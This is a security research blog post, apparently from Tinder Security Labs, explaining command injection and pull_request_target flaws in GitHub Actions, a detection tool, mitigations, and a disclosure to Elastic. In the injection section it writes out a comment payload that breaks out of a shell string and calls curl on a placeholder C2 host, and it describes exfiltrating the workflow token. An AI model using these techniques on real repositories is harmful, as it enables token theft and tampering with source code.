Exploiting GitHub Actions on open source projects
Authored by: Rojan Rijal, Tinder Security Labs | Johnny Nipper, Product Security Manager | Tanner Emek, Engineering Manager
GitHub Actions is a commonly used CI/CD pipeline for automated testing and deployment. While Actions make it easier to test and deploy, it also adds security risks to the project and its subsequent infrastructure if misconfigured. A vulnerable GitHub Action can be exploited to exfiltrate custom and in-built secrets, such as GitHubToken. In most cases, exfiltrated tokens can be used to get write access to the repository, allowing attackers to modify source code. At Tinder Security Labs, we made an automation script that detects and flags vulnerable GitHub Actions. As a test case, the script helped identify vulnerabilities that allowed write access in popular open-source projects such as Elastic’s Logstash. In this blog post, we’ll share common security risks in GitHub Actions, our approach to detecting them, and our recommendations to mitigate vulnerabilities in workflow.
Misconfigurations in GitHub Actions
GitHub Actions workflows are designed to execute based on specific events and triggers. Some events are automatic and run with minimal user interaction, while others may heavily depend on user inputs and events. An action that relies on user input or events can have security flaws resulting in Remote Code Executions (RCE) that allow attackers to exfiltrate secrets and GitHub Tokens. One primary example of an RCE in GitHub Actions can be seen in unsafe user inputs passed via context (${{ }}) when the runtime script is made. The following user-controlled inputs should never be used directly when creating runtime scripts:
- github.event.comment.body
- github.event.issue.body
- github.event.issue.title
- github.head_ref
- github.pull_request.*
- github.*.*.authors.name
- github.*.*.authors.email
In addition to unsafe user inputs, vulnerabilities can also stem from direct usage of user-provided code in the Actions workflow. For example, GitHub Actions’ events and triggers could previously be exploited via forked repositories to steal secrets and GitHub Tokens. While this has been fixed, it is still possible to exploit via malicious commits and forks if certain conditions are met. One such example is through usage of pull_request_target, which we will cover later in this blog.
Now that we’ve discussed some vulnerabilities surrounding GitHub Actions, let’s take a look at some examples of vulnerable workflows.
Code Execution via Unsafe User Inputs
One of the most common antipatterns leading to RCE in GitHub Actions is via direct usage of unsafe user input in shell commands. Take the following workflow as an example:
![](https://cdn-images-1.readmedium.com/v2/resize:fit:800/1*EzQU5oLHP5Oyf3ZsJFWE3A.png)
Currently, the workflow is executed every time an event is triggered with an issue. Since no types are mentioned, all issue_comment events will lead to the workflow execution. The issue_comment event is triggered when comments are made on issues or on pull requests and are fetched through github.event.comment.body. This specific workflow executes completely only if the event is through a comment on pull request, as defined in the if key. During execution, it will run a pr_commented job which has four defined steps. Since all steps are part of the same job, they all will share the same environment. In Step 3 of execution, the workflow declares an environment variable called branch based on the user input from the comment body. When the workflow is created, a temporary script is made in the background for Step 5. This shell script is responsible for running the command defined in this step. Since github.event.comment.body is used as a placeholder, the user input is directly injected and becomes part of the shell script. Since the user input is used to create the shell script, we can use a simple payload such as /run tests ok “)” && curl http://C2/ && echo “$(/usr/bin/echo “test=ok to cleanly execute our command on the runner and exit the workflow without any error.
To further escalate the vulnerability, the RCE can be chained with Step 4 to extract the github.token variable. Exfiltrating this token will allow complete write access into the vulnerable repository. In the payload for Step 3, using either the curl or wget will activate a download and replacement of pr_test/run.py file. Instead of running any tests, github.token input would be sent to the server. This then gives a valid GitHub API key/token with write access into the vulnerable repository. If this step was running under a separate job, the python file would not be able to be replaced since different jobs run on different environments and do not share resources unless explicitly defined in the workflow.
Exploiting pull_request_target
One of the lesser-known GitHub Actions vulnerabilities stems from misconfigured usage of pull_request_target. This event trigger is similar to pull_request in regard to when it runs, however, it also drastically differs in authorization. In general, pull_request events only trigger when there is an activity in a pull request (PR) made between branches or forks.
In order to prevent exploitation via malicious commits, pull_request events do not share read/write based tokens for workflows executing via forked requests. In addition, they also do not get access to the base repository’s secrets. Pull requests from fork repositories, especially first time contributors, will require maintainer approval before the workflows execute. In comparison, pull_request_target shares a read/write token as well as the base repository’s secrets during the execution. pull_request_target is specifically designed for edge cases where repositories need to perform actions against themselves when a pull request is opened. These could be calls such as adding labels to the pull request, adding comments to pull requests, or opening additional issues based on the pull request. However, since the workflow runs in the context of the base repository, it allows attackers to exploit the workflow to execute their own scripts if a workflow were to checkout/clone the PR commit. Take a look at a vulnerable workflow using pull_request_target:
![](https://cdn-images-1.readmedium.com/v2/resize:fit:800/1*KXh58smH6jFJYgmjVXCTSw.png)
The requirement on when to run the workflow is defined under types. If types are not used, all events for that trigger will result in the workflow execution. In this specific case, the workflow will execute every time a pull request is opened. Once started, it goes through at least three steps for the job test-kits. In its second step, the workflow clones the pull request commit. This will include all the files from the pull request. Once cloned, it will use make to run commands defined by Makefile for test-script. However, since the Makefile is coming from a pull request it is possible it will be malicious and run arbitrary commands into the workflow. In addition, since the step defines secrets, it is possible for the malicious commit to extract those secrets.
issue_* and pull_request_target events are some of many ways GitHub Actions could be vulnerable to various attacks. You can also read more about the associated risks and exploits in GitHub’s security blog. However, there are ways to detect and reduce impact from these vulnerabilities early on.
Detection with Automation
As part of our effort to help identify and secure vulnerabilities in GitHub Actions, we are open-sourcing a tool to identify vulnerable workflows. This script detects potential security issues by checking for usage of unsafe user inputs and malicious commits. In addition, the tool will also provide information such as what secrets are being used in the workflow.
As an example, here is a result of running the tool against the examples in this blog post:
![](https://cdn-images-1.readmedium.com/v2/resize:fit:800/1*KYymoGyeyQKBhxUtyplU2w.png)
The tool is designed for external and internal security researchers. For example, you can directly scan a repository via a repo URL or scan every repo of an organization by specifying the organization name as a command-line argument. In order to detect the vulnerabilities, we have written a scan_config.json file that contains various risks surrounding GitHub Actions. The tool uses this config file as a baseline for detecting security issues in the workflow. In addition to detecting the vulnerability, it also highlights which specific job and step are vulnerable. This makes it easier to triage for vulnerabilities and analyze the full impact. You can get started testing your workflows with our open-sourced tool found here.
Mitigation & Compensating Controls
Reducing impact through scoped permissions
When a workflow runs, a GitHub Token that is scoped to the particular workflow is created. By default, this token has read/write permissions to the content of the repository. However, it is possible to limit what access this token has by defining a permission key in the action workflow. Using a token with scoped permissions can limit the impact of an RCE in the workflow. For example, with the vulnerable workflow covered earlier, the impact could be reduced by using the following workflow:
![](https://cdn-images-1.readmedium.com/v2/resize:fit:800/1*yJ-o7VB70WW1PmL-nBRKoA.png)
While this neither fixes the RCE nor the ability to extract other secrets, the exfiltrated GitHub token would have limited permissions into the repository. You can learn more about how to use the permissions key here.
Sanitizing user inputs to prevent command executions
Similar to fixing RCE and XSS in web applications, the best way to secure GitHub Actions is to make sure user inputs are properly sanitized. In order to sanitize user inputs, it is important to not pass these inputs as placeholders in the script. In the following example, github.event.comment.body is used as a placeholder in Step 5. To fix the RCE in this specific workflow, we can instead pass it as an argument or an environment variable. In this case, storing the user comment into an environment variable called BODY and passing it as argument into the script mitigates the RCE.
![](https://cdn-images-1.readmedium.com/v2/resize:fit:800/1*kR6-F0jF80MbYwmyIbtjQw.png)
Security Disclosure(s)
When developing Workflow Auditor, we constantly tested the tool against internal workflows, test cases, and sampled GitHub repositories. This helped us identify vulnerabilities in popular open-source projects. One of the open source projects with a vulnerable Github workflow was Elastic’s Logstash repository. Once confirmed, we reported the vulnerability to Elastic’s Security Team. The security team was quick on preventing any exploit by disabling the workflow and confirming no abuse of the vulnerability had occurred.
Conclusion
During our research, we identified multiple workflows that are vulnerable to command execution. While the most common one was through unsafe user inputs in run scripts, we also noticed that pull_request_target was commonly used, and opened popular repositories to exploitation. We hope that with the new tool we are releasing, these vulnerabilities can be detected before they are deployed.
References
This blog and our effort in automation will not have been possible without documentation from GitHub itself.
- GitHub Actions Documentation — https://docs.github.com/en/actions
- GitHub Security Labs blog series in risks with Actions
- https://securitylab.github.com/research/github-actions-preventing-pwn-requests/
- https://securitylab.github.com/research/github-actions-untrusted-input/
- https://securitylab.github.com/research/github-actions-building-blocks/